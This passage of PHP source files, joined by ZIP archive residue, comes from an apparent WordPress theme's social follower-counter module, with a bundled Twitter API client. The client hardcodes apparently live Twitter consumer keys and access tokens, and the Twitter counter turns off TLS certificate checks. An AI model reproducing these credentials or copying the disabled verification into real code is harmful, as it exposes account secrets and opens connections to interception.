if ( ! class_exists( 'Penci_Social_Counter_Flickr_API' ) ):
	class Penci_Social_Counter_Flickr_API {
		public static function get_count( $data, $cache_period ) {

			$page_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = $page_id;
			$data['icon'] = penci_icon_by_ver( 'fab fa-flickr' );


			$count         = 0;
			$cache_key     = 'penci_counter__flickr' . $page_id;
			$default_count = penci_get_social_counter_option( 'flickr_default' );
			$flickr_count  = $default_count ? $default_count : get_transient( $cache_key );

			if ( ! $flickr_count && filter_var( $page_id, FILTER_VALIDATE_URL ) !== false ) {
				$params = array( 'sslverify' => true, 'timeout' => 60 );

				$connection = wp_remote_get( $page_id, $params );

				if ( ! is_wp_error( $connection ) ) {
					$pattern = "/\"followerCount\":(.*?),\"/";
					preg_match( $pattern, $connection['body'], $matches );

					if ( ! empty( $matches[1] ) ) {
						$count = (int) $matches[1];
					}
				}

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $flickr_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}
	}

endif;
PK     1w\z}  }  (  social-counter/counter-instagram-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Instagram_API' ) ):
	class Penci_Social_Counter_Instagram_API {
		public static function get_count( $data, $cache_period ) {

			$user_id      = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']  = "https://www.instagram.com/$user_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-instagram' );

			$cache_key       = 'penci_counter__instagram' . $user_id;
			$default_count   = penci_get_social_counter_option( 'instagram_default' );
			$instagram_count = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $instagram_count ) {

				$count = self::penci_get_instagram_data( $user_id );

				set_transient( $cache_key, $count, $cache_period );

			} else {
				$count = $instagram_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		public static function penci_get_instagram_data( $username ) {
			$url      = 'https://webstagram.org/api?api_key=0&username=' . esc_attr( $username ) . '&source=instagram';
			$response = wp_remote_get( $url, array(
				'timeout' => 10,
			) );

			if ( wp_remote_retrieve_response_message( $response ) ) {
				$response = json_decode( $response['body'], true );

				return isset( $response['followers'] ) && $response['followers'] ? $response['followers'] : 0;
			} else {
				return 0;
			}
		}
	}

endif;
PK     1w\vq{  {  '  social-counter/counter-facebook-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Facebook_API' ) ):
	class Penci_Social_Counter_Facebook_API {
		public static function get_count( $data, $cache_period ) {

			$page_id        = preg_replace( '/\s+/', '', $data['name'] );
			$default_count  = penci_get_social_counter_option( 'facebook_default' );
			$key            = penci_get_social_counter_option( 'facebook_token' );
			$facebook_count = $default_count ? $default_count : get_transient( 'penci_counter_facebook' . $page_id );

			if ( !$facebook_count ) {

				if ( $key ) {
					$counter = self::get_fb_count( $page_id, $key );
				} else {
					$counter = self::get_fb_count_wapi( $page_id );
				}

				if ( $counter ) { //To update the stored data
					$data['count'] = $counter;
					set_transient( 'penci_counter_facebook' . $page_id, $counter, $cache_period );
				}
			} else {
				$data['count'] = $facebook_count;
			}

			$data['url']  = "https://www.facebook.com/$page_id";
			$data['icon'] = penci_icon_by_ver( 'fab fa-facebook-f' );

			return $data;
		}

		public static function get_fb_count( $name, $key ) {
			$counter  = 0;
			$url      = 'https://graph.facebook.com/v11.0/' . $name . '?access_token=' . $key . '&fields=followers_count';
			$response = wp_remote_get( $url, array(
				'timeout' => 20,
			) );
			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$result = json_decode( $response['body'] );
				if ( ! empty( $result->fan_count ) ) {
					$counter = $result->fan_count;
				}
			}
			if ( $counter ) {
				return (int) $counter;
			} else {
				return 0;
			}
		}

		public static function get_fb_count_wapi( $name ) {
			$counter  = 0;
			$url      = 'https://www.facebook.com/plugins/fan.php?connections=100&id=' . $name;
			$response = wp_remote_get( $url, array(
				'timeout' => 20,
			) );
			if ( is_array( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/<div class=\"_1drq\" style=\"max-width: 220px;\">(.*?)<\/div>/";
				$counter = penci_get_the_number( $pattern, $response['body'] );
			}
			if ( $counter ) {
				return (int) $counter;
			} else {
				return 0;
			}
		}
	}

endif;
PK     1w\K4S  S  %  social-counter/counter-twitch-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Twitch_API' ) ):
	class Penci_Social_Counter_Twitch_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = 'https://www.twitch.tv/' . $page_id;
			$data['icon']  = penci_icon_by_ver( 'fab fa-twitch' );
			$default_count = penci_get_social_counter_option( 'twitch_default' );
			$twitch_count  = $default_count ? $default_count : get_transient( 'penci_counter_twitch' . $page_id );
			$twitch_api    = penci_get_social_counter_option( 'twitch_client_id' );

			if ( ! $twitch_count && $twitch_api ) {
				try {
					$result   = array();
					$response = wp_remote_get( 'https://api.twitch.tv/kraken/channels/' . $page_id . '?client_id=' . $twitch_api, array( 'timeout' => 20 ) );
					if ( is_array( $response ) && ! is_wp_error( $response ) ) {
						$result = json_decode( $response['body'] );
					}
					if ( ! empty( $result ) && ! empty( $result->followers ) ) {
						$count = $result->followers;
					}
				} catch ( Exception $e ) {
					$count = 0;
				}

				set_transient( 'penci_counter_twitch' . $page_id, $count, $cache_period );
			} else {
				$count = $twitch_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}
	}

endif;
PK     1w\ .  .  &  social-counter/counter-twitter-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Twitter_API' ) ):
	class Penci_Social_Counter_Twitter_API {
		public static function get_count( $data, $cache_period ) {
			$user_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = "https://x.com/$user_id";
			$data['icon']  = penci_icon_by_ver( 'penciicon-x-twitter' );
			$default_count = penci_get_social_counter_option( 'twitter_default' );
			$cache_key     = 'penci_counter_twitter' . $user_id;
			$twitter_count = $default_count ? $default_count : get_transient( $cache_key );

			$count = 0;

			$api = [];

			$gnr = get_option( 'penci_social_counter_settings' );

			if ( $gnr['twitter_api_key'] ) {
				$key = $gnr['twitter_api_key'];
			}

			if ( $gnr['twitter_api_key_secret'] ) {
				$src = $gnr['twitter_api_key_secret'];
			}


			if ( ! $twitter_count ) {

				$count = self::getTwitterFollowers( $user_id, $key, $src );
				set_transient( $cache_key, $count, $cache_period );

			} else {
				$count = $twitter_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		/**
		 * Extract numbers from string
		 *
		 * @param $penci_string
		 *
		 * @return string
		 */
		private static function extract_numbers_from_string( $penci_string ) {
			$output = '';
			foreach ( str_split( $penci_string ) as $penci_char ) {
				if ( is_numeric( $penci_char ) ) {
					$output .= $penci_char;
				}
			}

			return $output;
		}

		public static function getTwitterFollowers($screenName = 'envato', $key = '', $src = '') {
		    // some variables
		    $consumerKey = $key;
		    $consumerSecret = $src;
		    $token = get_option('cfTwitterToken_'.$screenName);
		  
		    // get follower count from cache
		    $numberOfFollowers = get_transient('cfTwitterFollowers_'.$screenName);
		   
		    // cache version does not exist or expired
		    if (false === $numberOfFollowers) {
		        // getting new auth bearer only if we don't have one
		        if(!$token) {
		            // preparing credentials
		            $credentials = $consumerKey . ':' . $consumerSecret;
		            $toSend = base64_encode($credentials);
		   
		            // http post arguments
		            $args = array(
		                'method' => 'POST',
		                'httpversion' => '1.1',
		                'blocking' => true,
		                'headers' => array(
		                    'Authorization' => 'Basic ' . $toSend,
		                    'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8'
		                ),
		                'body' => array( 'grant_type' => 'client_credentials' )
		            );
		   
		            add_filter('https_ssl_verify', '__return_false');
		            $response = wp_remote_post('https://api.twitter.com/oauth2/token', $args);
		   
		            $keys = json_decode(wp_remote_retrieve_body($response));
		   
		            if($keys) {
		                // saving token to wp_options table
		                update_option('cfTwitterToken_'.$screenName, $keys->access_token);
		                $token = $keys->access_token;
		            }
		        }
		        // we have bearer token wether we obtained it from API or from options
		        $args = array(
		            'httpversion' => '1.1',
		            'blocking' => true,
		            'headers' => array(
		                'Authorization' => "Bearer $token"
		            )
		        );
		   
		        add_filter('https_ssl_verify', '__return_false');
		        $api_url = "https://api.twitter.com/2/users/by/username/$screenName";
		        $response = wp_remote_get($api_url, $args);
		   
		        if (!is_wp_error($response)) {
		            $followers = json_decode(wp_remote_retrieve_body($response));
		            $numberOfFollowers = isset( $followers->followers_count ) ? $followers->followers_count : '';
		        } else {
		            // get old value and break
		            $numberOfFollowers = get_option('cfNumberOfFollowers_'.$screenName);
		            // uncomment below to debug
		           die($response->get_error_message());
		        }
		   
		        // cache for an hour
		        set_transient('cfTwitterFollowers_'.$screenName, $numberOfFollowers, 1*60*60);
		        update_option('cfNumberOfFollowers_'.$screenName, $numberOfFollowers);
		    }
		   
		    return $numberOfFollowers;
		}
	}

endif;
PK     1w\9bwK  wK  !  social-counter/twitter-client.phpnu [        <?php
/**
 * Simple Twitter API 1.1 REST Client using cURL extension
 * @author Tim Whitlock, http://timwhitlock.info
 * @license MIT
 */

define( 'TWITTER_API_TIMEOUT', 5 );

define( 'TWITTER_API_USERAGENT', 'PHP/' . PHP_VERSION . '; http://github.com/timwhitlock/php-twitter-api' );

define( 'TWITTER_API_BASE', 'https://api.twitter.com/1.1' );

define( 'TWITTER_OAUTH_REQUEST_TOKEN_URL', 'https://twitter.com/oauth/request_token' );

define( 'TWITTER_OAUTH_AUTHORIZE_URL', 'https://twitter.com/oauth/authorize' );

define( 'TWITTER_OAUTH_AUTHENTICATE_URL', 'https://twitter.com/oauth/authenticate' );

define( 'TWITTER_OAUTH_ACCESS_TOKEN_URL', 'https://twitter.com/oauth/access_token' );

define( 'YOUR_CONSUMER_KEY', 'n717jgpokhnb5bFvQhF8NgCLe' );
define( 'YOUR_CONSUMER_SECRET', '1nFR5O7v9CTNIjlb9sG5isnt1Ty1lKWt5bwbU7GHHRLRklQDBC' );
define( 'SOME_ACCESS_KEY', '3235863432-M7wCxCAaNFM5iua042hQY0T2xl8WPfIY7pyPIvz' );
define( 'SOME_ACCESS_SECRET', 'QuIOWEUkkxnk7saUDtulnqo3uTYmt9t99DZUWJUnlSIAK' );

/**
 * Client for the Twitter REST API 1.1
 */
class TwitterApiClient {

	/**
	 * Consumer key token for application
	 * @var TwitterOAuthToken
	 */
	private $Consumer;

	/**
	 * Authenticated access token
	 * @var TwitterOAuthToken
	 */
	private $AccessToken;

	/**
	 * Whether caching API GET requests
	 * @var int
	 */
	private $cache_ttl = null;

	/**
	 * Namespace/prefix for cache keys
	 * @var string
	 */
	private $cache_ns;

	/**
	 * Registry of last rate limit arrays by full api function call
	 * @var array
	 */
	private $last_rate = array();

	/**
	 * Last api function called, e.g. "direct_messages/sent"
	 * @var string
	 */
	private $last_call;


	/**
	 * @internal
	 */
	public function __sleep() {
		return array( 'Consumer', 'AccessToken' );
	}

	/**
	 * Enable caching of subsequent API calls
	 * @return TwitterApiClient
	 */
	public function enable_cache( $ttl = 0, $namespace = 'twitter_api_' ) {
		if ( function_exists( 'apc_store' ) ) {
			$this->cache_ttl = (int) $ttl;
			$this->cache_ns  = $namespace;

			return $this;
		}
		trigger_error( 'Cannot enable Twitter API cache without APC extension' );

		return $this->disable_cache();
	}

	/**
	 * Disable caching for susequent API calls
	 * @return TwitterApiClient
	 */
	public function disable_cache() {
		$this->cache_ttl = null;
		$this->cache_ns  = null;

		return $this;
	}

	/**
	 * Test whether the client has full authentication data.
	 * Warning: does not validate credentials
	 * @return bool
	 */
	public function has_auth() {
		return $this->AccessToken instanceof TwitterOAuthToken && $this->AccessToken->secret;
	}

	/**
	 * Unset all logged in credentials - useful in error situations
	 * @return TwitterApiClient
	 */
	public function deauthorize() {
		$this->AccessToken = null;

		return $this;
	}


	/**
	 * Set currently logged in user's OAuth access token
	 *
	 * @param string consumer api key
	 * @param string consumer secret
	 * @param string access token
	 * @param string access token secret
	 *
	 * @return TwitterApiClient
	 */
	public function set_oauth( $consumer_key, $consumer_secret, $access_key = '', $access_secret = '' ) {
		$this->deauthorize();
		$this->Consumer = new TwitterOAuthToken( $consumer_key, $consumer_secret );
		if ( $access_key && $access_secret ) {
			$this->AccessToken = new TwitterOAuthToken( $access_key, $access_secret );
		}

		return $this;
	}


	/**
	 * Set consumer oauth token by object
	 *
	 * @param TwitterOAuthToken
	 *
	 * @return TwitterApiClient
	 */
	public function set_oauth_consumer( TwitterOAuthToken $token ) {
		$this->Consumer = $token;

		return $this;
	}


	/**
	 * Set access oauth token by object
	 *
	 * @param TwitterOAuthToken
	 *
	 * @return TwitterApiClient
	 */
	public function set_oauth_access( TwitterOAuthToken $token ) {
		$this->AccessToken = $token;

		return $this;
	}


	/**
	 * Contact Twitter for a request token, which will be exchanged for an access token later.
	 *
	 * @param string callback URL or "oob" for desktop apps (out of bounds)
	 *
	 * @return TwitterOAuthToken Request token
	 */
	public function get_oauth_request_token( $oauth_callback = 'oob' ) {
		$params = $this->oauth_exchange( TWITTER_OAUTH_REQUEST_TOKEN_URL, compact( 'oauth_callback' ) );

		return new TwitterOAuthToken( $params['oauth_token'], $params['oauth_token_secret'] );
	}


	/**
	 * Exchange request token for an access token after authentication/authorization by user
	 *
	 * @param string verifier passed back from Twitter or copied out of browser window
	 *
	 * @return TwitterOAuthToken Access token
	 */
	public function get_oauth_access_token( $oauth_verifier ) {
		$params      = $this->oauth_exchange( TWITTER_OAUTH_ACCESS_TOKEN_URL, compact( 'oauth_verifier' ) );
		$token       = new TwitterOAuthToken( $params['oauth_token'], $params['oauth_token_secret'] );
		$token->user = array(
			'id'          => $params['user_id'],
			'screen_name' => $params['screen_name'],
		);

		return $token;
	}


	/**
	 * Basic sanitation of api request arguments
	 *
	 * @param array original params passed by client code
	 *
	 * @return array sanitized params that we'll serialize
	 */
	private function sanitize_args( array $_args ) {
		// transform some arguments and ensure strings
		// no further validation is performed
		$args = array();
		foreach ( $_args as $key => $val ) {
			if ( is_string( $val ) ) {
				$args[ $key ] = $val;
			} else if ( true === $val ) {
				$args[ $key ] = 'true';
			} else if ( false === $val || null === $val ) {
				$args[ $key ] = 'false';
			} else if ( ! is_scalar( $val ) ) {
				throw new TwitterApiException( 'Invalid Twitter parameter (' . gettype( $val ) . ') ' . $key, - 1 );
			} else {
				$args[ $key ] = (string) $val;
			}
		}

		return $args;
	}


	/**
	 * Call API method over HTTP and return serialized data
	 *
	 * @param string API method, e.g. "users/show"
	 * @param array method arguments
	 * @param string http request method
	 *
	 * @return array unserialized data returned from Twitter
	 * @throws TwitterApiException
	 */
	public function call( $path, array $args = array(), $http_method = 'GET' ) {
		$args = $this->sanitize_args( $args );
		// Fetch response from cache if possible / allowed / enabled
		if ( $http_method === 'GET' && isset( $this->cache_ttl ) ) {
			$cachekey = $this->cache_ns . $path . '_' . md5( serialize( $args ) );
			if ( preg_match( '/^(\d+)-/', $this->AccessToken->key, $reg ) ) {
				$cachekey .= '_' . $reg[1];
			}
			$data = apc_fetch( $cachekey );
			if ( is_array( $data ) ) {
				return $data;
			}
		}
		$http = $this->rest_request( $path, $args, $http_method );
		// Deserialize response
		$status = $http['status'];
		$data   = json_decode( $http['body'], true );
		// unserializable array assumed to be serious error
		if ( ! is_array( $data ) ) {
			$err = array(
				'message' => $http['error'],
				'code'    => - 1
			);
			TwitterApiException::chuck( $err, $status );
		}
		// else could be well-formed error
		if ( isset( $data['errors'] ) ) {
			while ( $err = array_shift( $data['errors'] ) ) {
				$err['message'] = $err['message'];
				if ( $data['errors'] ) {
					$message = sprintf( 'Twitter error #%d', $err['code'] ) . ' "' . $err['message'] . '"';
					trigger_error( $message, E_USER_WARNING );
				} else {
					TwitterApiException::chuck( $err, $status );
				}
			}
		}
		if ( isset( $cachekey ) ) {
			apc_store( $cachekey, $data, $this->cache_ttl );
		}

		return $data;
	}


	/**
	 * Call API method over HTTP and return raw response data without caching
	 *
	 * @param string API method, e.g. "users/show"
	 * @param array method arguments
	 * @param string http request method
	 *
	 * @return array structure from http_request
	 * @throws TwitterApiException
	 */
	public function raw( $path, array $args = array(), $http_method = 'GET' ) {
		$args = $this->sanitize_args( $args );

		return $this->rest_request( $path, $args, $http_method );
	}


	/**
	 * Perform an OAuth request - these differ somewhat from regular API calls
	 * @internal
	 */
	private function oauth_exchange( $endpoint, array $args ) {
		// build a post request and authenticate via OAuth header
		$params = new TwitterOAuthParams( $args );
		$params->set_consumer( $this->Consumer );
		if ( $this->AccessToken ) {
			$params->set_token( $this->AccessToken );
		}
		$params->sign_hmac( 'POST', $endpoint );
		$conf = array(
			'method'  => 'POST',
			'headers' => array( 'Authorization' => $params->oauth_header() ),
		);
		$http = self::http_request( $endpoint, $conf );
		$body = trim( $http['body'] );
		$stat = $http['status'];
		if ( 200 !== $stat ) {
			// Twitter might respond as XML, but with an HTML content type for some reason
			if ( 0 === strpos( $body, '<?' ) ) {
				$xml  = simplexml_load_string( $body );
				$body = (string) $xml->error;
			}
			throw new TwitterApiException( $body, - 1, $stat );
		}
		parse_str( $body, $params );
		if ( ! is_array( $params ) || ! isset( $params['oauth_token'] ) || ! isset( $params['oauth_token_secret'] ) ) {
			throw new TwitterApiException( 'Malformed response from Twitter', - 1, $stat );
		}

		return $params;
	}


	/**
	 * Sign and execute REST API call
	 * @return array
	 */
	private function rest_request( $path, array $args, $http_method ) {
		// all calls must be authenticated in API 1.1
		if ( ! $this->has_auth() ) {
			throw new TwitterApiException( 'Twitter client not authenticated', 0, 401 );
		}
		// prepare HTTP request config
		$conf = array(
			'method' => $http_method,
		);
		// build signed URL and request parameters
		$endpoint = TWITTER_API_BASE . '/' . $path . '.json';
		$params   = new TwitterOAuthParams( $args );
		$params->set_consumer( $this->Consumer );
		$params->set_token( $this->AccessToken );
		$params->sign_hmac( $http_method, $endpoint );
		if ( 'GET' === $http_method ) {
			$endpoint .= '?' . $params->serialize();
		} else {
			$conf['body'] = $params->serialize();
		}
		$http = self::http_request( $endpoint, $conf );
		// remember current rate limits for this endpoint
		$this->last_call = $path;
		if ( isset( $http['headers']['x-rate-limit-limit'] ) ) {
			$this->last_rate[ $path ] = array(
				'limit'     => (int) $http['headers']['x-rate-limit-limit'],
				'remaining' => (int) $http['headers']['x-rate-limit-remaining'],
				'reset'     => (int) $http['headers']['x-rate-limit-reset'],
			);
		}

		return $http;
	}


	/**
	 * Abstract HTTP call, currently just uses cURL extension
	 * @return array e.g. { body: '', error: '', status: 200, headers: {} }
	 */
	public static function http_request( $endpoint, array $conf ) {
		$conf += array(
			'body'    => '',
			'method'  => 'GET',
			'headers' => array(),
		);

		$ch = curl_init();
		curl_setopt( $ch, CURLOPT_URL, $endpoint );
		curl_setopt( $ch, CURLOPT_TIMEOUT, TWITTER_API_TIMEOUT );
		curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, TWITTER_API_TIMEOUT );
		curl_setopt( $ch, CURLOPT_USERAGENT, TWITTER_API_USERAGENT );
		curl_setopt( $ch, CURLOPT_HEADER, true );
		curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );

		switch ( $conf['method'] ) {
			case 'GET':
				break;
			case 'POST':
				curl_setopt( $ch, CURLOPT_POST, true );
				curl_setopt( $ch, CURLOPT_POSTFIELDS, $conf['body'] );
				break;
			default:
				throw new TwitterApiException( 'Unsupported method ' . $conf['method'] );
		}

		foreach ( $conf['headers'] as $key => $val ) {
			$headers[] = $key . ': ' . $val;
		}
		if ( isset( $headers ) ) {
			curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers );
		}

		// execute and parse response
		$response = curl_exec( $ch );
		if ( 60 === curl_errno( $ch ) ) { // CURLE_SSL_CACERT
			curl_setopt( $ch, CURLOPT_CAINFO, __DIR__ . '/ca-chain-bundle.crt' );
			$response = curl_exec( $ch );
		}
		$status  = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
		$headers = array();
		$body    = '';
		if ( $response && $status ) {
			list( $header, $body ) = preg_split( '/\r\n\r\n/', $response, 2 );
			if ( preg_match_all( '/^(Content[\w\-]+|X-Rate[^:]+):\s*(.+)/mi', $header, $r, PREG_SET_ORDER ) ) {
				foreach ( $r as $match ) {
					$headers[ strtolower( $match[1] ) ] = $match[2];
				}
			}
			curl_close( $ch );
		} else {
			$error = curl_error( $ch ) or
			$error = 'No response from Twitter';
			is_resource( $ch ) and curl_close( $ch );
			throw new TwitterApiException( $error );
		}

		return array(
			'body'    => $body,
			'status'  => $status,
			'headers' => $headers,
		);
	}


	/**
	 * Get current rate limit, if known. does not look it up
	 */
	public function last_rate_limit_data( $func = '' ) {
		$func or $func = $this->last_call;

		return isset( $this->last_rate[ $func ] ) ? $this->last_rate[ $func ] : array( 'limit' => 0 );
	}


	/**
	 * Get rate limit allowance for last endpoint request
	 */
	public function last_rate_limit_allowance( $func = '' ) {
		$data = $this->last_rate_limit_data( $func );

		return isset( $data['limit'] ) ? $data['limit'] : null;
	}


	/**
	 * Get number of requests remaining this period for last endpoint request
	 */
	public function last_rate_limit_remaining( $func = '' ) {
		$data = $this->last_rate_limit_data( $func );

		return isset( $data['remaining'] ) ? $data['remaining'] : null;
	}


	/**
	 * Get rate limit reset time for last endpoint request
	 */
	public function last_rate_limit_reset( $func = '' ) {
		$data = $this->last_rate_limit_data( $func );

		return isset( $data['reset'] ) ? $data['reset'] : null;
	}

}


/**
 * Simple token class that holds key and secret
 * @internal
 */
class TwitterOAuthToken {

	public $key;
	public $secret;
	public $verifier;
	public $user;

	public function __construct( $key, $secret = '' ) {
		if ( ! $key ) {
			throw new Exception( 'Invalid OAuth token - Key required even if secret is empty' );
		}
		$this->key      = $key;
		$this->secret   = $secret;
		$this->verifier = '';
	}

	public function get_authorization_url() {
		return TWITTER_OAUTH_AUTHORIZE_URL . '?oauth_token=' . rawurlencode( $this->key );
	}

	public function get_authentication_url() {
		return TWITTER_OAUTH_AUTHENTICATE_URL . '?oauth_token=' . rawurlencode( $this->key );
	}

}


/**
 * Class for compiling, signing and serializing OAuth parameters
 * @internal
 */
class TwitterOAuthParams {

	private $args;
	private $consumer_secret;
	private $token_secret;

	private static function urlencode( $val ) {
		return str_replace( '%7E', '~', rawurlencode( $val ) );
	}

	public function __construct( array $args = array() ) {
		$this->args = $args + array(
				'oauth_version' => '1.0',
			);
	}

	public function set_consumer( TwitterOAuthToken $Consumer ) {
		$this->consumer_secret            = $Consumer->secret;
		$this->args['oauth_consumer_key'] = $Consumer->key;
	}

	public function set_token( TwitterOAuthToken $Token ) {
		$this->token_secret        = $Token->secret;
		$this->args['oauth_token'] = $Token->key;
	}

	private function normalize() {
		$flags = SORT_STRING | SORT_ASC;
		ksort( $this->args, $flags );
		foreach ( $this->args as $k => $a ) {
			if ( is_array( $a ) ) {
				sort( $this->args[ $k ], $flags );
			}
		}

		return $this->args;
	}

	public function serialize() {
		$str = http_build_query( $this->args );
		// PHP_QUERY_RFC3986 requires PHP >= 5.4
		$str = str_replace( array( '+', '%7E' ), array( '%20', '~' ), $str );

		return $str;
	}

	public function sign_hmac( $http_method, $http_rsc ) {
		$this->args['oauth_signature_method'] = 'HMAC-SHA1';
		$this->args['oauth_timestamp']        = sprintf( '%u', time() );
		$this->args['oauth_nonce']            = sprintf( '%f', microtime( true ) );
		unset( $this->args['oauth_signature'] );
		$this->normalize();
		$str                           = $this->serialize();
		$str                           = strtoupper( $http_method ) . '&' . self::urlencode( $http_rsc ) . '&' . self::urlencode( $str );
		$key                           = self::urlencode( $this->consumer_secret ) . '&' . self::urlencode( $this->token_secret );
		$this->args['oauth_signature'] = base64_encode( hash_hmac( 'sha1', $str, $key, true ) );

		return $this->args;
	}

	public function oauth_header() {
		$lines = array();
		foreach ( $this->args as $key => $val ) {
			$lines[] = self::urlencode( $key ) . '="' . self::urlencode( $val ) . '"';
		}

		return 'OAuth ' . implode( ",\n ", $lines );
	}

}


/**
 * HTTP status codes with some overridden for Twitter-related messages.
 * Note these do not replace error text from Twitter, they're for complete API failures.
 *
 * @param int HTTP status code
 *
 * @return string HTTP status text
 */
function _twitter_api_http_status_text( $s ) {
	static $codes = array(
		100 => 'Continue',
		101 => 'Switching Protocols',

		200 => 'OK',
		201 => 'Created',
		202 => 'Accepted',
		203 => 'Non-Authoritative Information',
		204 => 'No Content',
		205 => 'Reset Content',
		206 => 'Partial Content',

		300 => 'Multiple Choices',
		301 => 'Moved Permanently',
		302 => 'Found',
		303 => 'See Other',
		304 => 'Not Modified',
		305 => 'Use Proxy',
		307 => 'Temporary Redirect',

		400 => 'Bad Request',
		401 => 'Authorization Required',
		402 => 'Payment Required',
		403 => 'Forbidden',
		404 => 'Not Found',
		405 => 'Method Not Allowed',
		406 => 'Not Acceptable',
		407 => 'Proxy Authentication Required',
		408 => 'Request Time-out',
		409 => 'Conflict',
		410 => 'Gone',
		411 => 'Length Required',
		412 => 'Precondition Failed',
		413 => 'Request Entity Too Large',
		414 => 'Request-URI Too Large',
		415 => 'Unsupported Media Type',
		416 => 'Requested range not satisfiable',
		417 => 'Expectation Failed',
		//  ..
		429 => 'Twitter API rate limit exceeded',

		500 => 'Twitter server error',
		501 => 'Not Implemented',
		502 => 'Twitter is not responding',
		503 => 'Twitter is too busy to respond',
		504 => 'Gateway Time-out',
		505 => 'HTTP Version not supported',
	);

	return isset( $codes[ $s ] ) ? $codes[ $s ] : sprintf( 'Status %u from Twitter', $s );
}


/**
 * Exception for throwing when Twitter responds with something unpleasant
 */
class TwitterApiException extends Exception {

	/**
	 * HTTP Status of error
	 * @var int
	 */
	protected $status = 0;


	/**
	 * Throw appropriate exception type according to HTTP status code
	 *
	 * @param array Twitter error data from their response
	 */
	public static function chuck( array $err, $status ) {
		$code = isset( $err['code'] ) ? (int) $err['code'] : - 1;
		$mess = isset( $err['message'] ) ? trim( $err['message'] ) : '';
		static $classes = array(
			404 => 'TwitterApiNotFoundException',
			429 => 'TwitterApiRateLimitException',
		);
		$eclass = isset( $classes[ $status ] ) ? $classes[ $status ] : __CLASS__;
		throw new $eclass( $mess, $code, $status );
	}


	/**
	 * Construct TwitterApiException with addition of HTTP status code.
	 * @overload
	 */
	public function __construct( $message, $code = 0 ) {
		if ( 2 < func_num_args() ) {
			$this->status = (int) func_get_arg( 2 );
		}
		if ( ! $message ) {
			$message = _twitter_api_http_status_text( $this->status );
		}
		parent::__construct( $message, $code );
	}


	/**
	 * Get HTTP status of error
	 * @return int
	 */
	public function getStatus() {
		return $this->status;
	}

}


/** 404 */
class TwitterApiNotFoundException extends TwitterApiException {

}


/** 429 */
class TwitterApiRateLimitException extends TwitterApiException {

}
PK     1w\T@  @  !  social-counter/social-counter.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}


if ( ! function_exists( 'penci_get_social_counter_option' ) ) :
	function penci_get_social_counter_option( $key = null, $default = false ) {
		static $data;

		$data = empty( $data ) ? get_option( 'penci_social_counter_settings' ) : $data;

		if ( isset( $data[ $key ] ) ) {
			return $data[ $key ];
		}

		if ( $default ) {
			return $default;
		}

		return '';
	}
endif;

if ( ! class_exists( 'PENCI_FW_Social_Counter' ) ) :
	class PENCI_FW_Social_Counter {

		private static $_instance = null;

		private static $caching_time = 86400;  // cache expire time - default 86400 = 1 day

		public static function instance() {
			if ( is_null( self::$_instance ) ) {
				self::$_instance = new self();
			}

			return self::$_instance;
		}

		public function __construct() {
			$this->load_files();
		}

		public function load_files() {
			require_once __DIR__ . '/admin-options.php';
		}

		public static function get_social_counter( $social, $get_number = true ) {

			$cache_period = apply_filters( 'penci_social_cache_time', self::$caching_time );

			$penci_social_counter_settings = get_option( 'penci_social_counter_settings' );

			$counter_data = shortcode_atts(
				array(
					$social . '_name'       => '',
					$social . '_text_below' => '',
					$social . '_text_btn'   => '',
					$social . '_default'    => '',
				),
				$penci_social_counter_settings
			);

			$face_name = isset( $counter_data[ $social . '_name' ] ) && $counter_data[ $social . '_name' ] ? $counter_data[ $social . '_name' ] : '';

			$data = array();

			if ( ! $face_name ) {
				return array();
			}

			$data_default = array(
				'name'       => $face_name,
				'title'      => $face_name ? $face_name : esc_html__( 'Facebook', 'soledad' ),
				'text_below' => $counter_data[ $social . '_text_below' ],
				'text_btn'   => $counter_data[ $social . '_text_btn' ],
				'count'      => $counter_data[ $social . '_default' ],
				'icon'       => '',
				'url'        => '',
				'error'      => '',
			);

			$social_file = __DIR__ . '/counter-' . $social . '-api.php';
			$class_name  = 'Penci_Social_Counter_' . ucwords( $social ) . '_API';

			if ( file_exists( $social_file ) ) {
				require_once $social_file;
			}

			if ( class_exists( $class_name ) ) {
				$data = $class_name::get_count( $data_default, $cache_period );
			}

			return $data;
		}

		public static function format_followers( $followers ) {

			if ( ! $followers || ! is_numeric( $followers ) ) {
				return $followers;
			}

			if ($followers >= 1000000) {
		        return round($followers / 1000000, 1) . penci_get_setting( 'penci_trans_m_number' );
		    } elseif ($followers >= 1000) {
		        return round($followers / 1000, 1) . penci_get_setting( 'penci_trans_k_number' );
		    } else {
		        return $followers; // If the number is less than 1000, return it unchanged
		    }
		}
	}

	new PENCI_FW_Social_Counter();
endif;

if ( ! function_exists( 'penci_get_the_number' ) ) :
	function penci_get_the_number( $pattern, $the_request ) {

		$counter = 0;

		preg_match( $pattern, $the_request, $matches );

		if ( is_array( $matches ) && ! empty( $matches[1] ) ) {

			$number  = strip_tags( $matches[1] );
			$counter = '';

			foreach ( str_split( $number ) as $char ) {
				if ( is_numeric( $char ) ) {
					$counter .= $char;
				}
			}
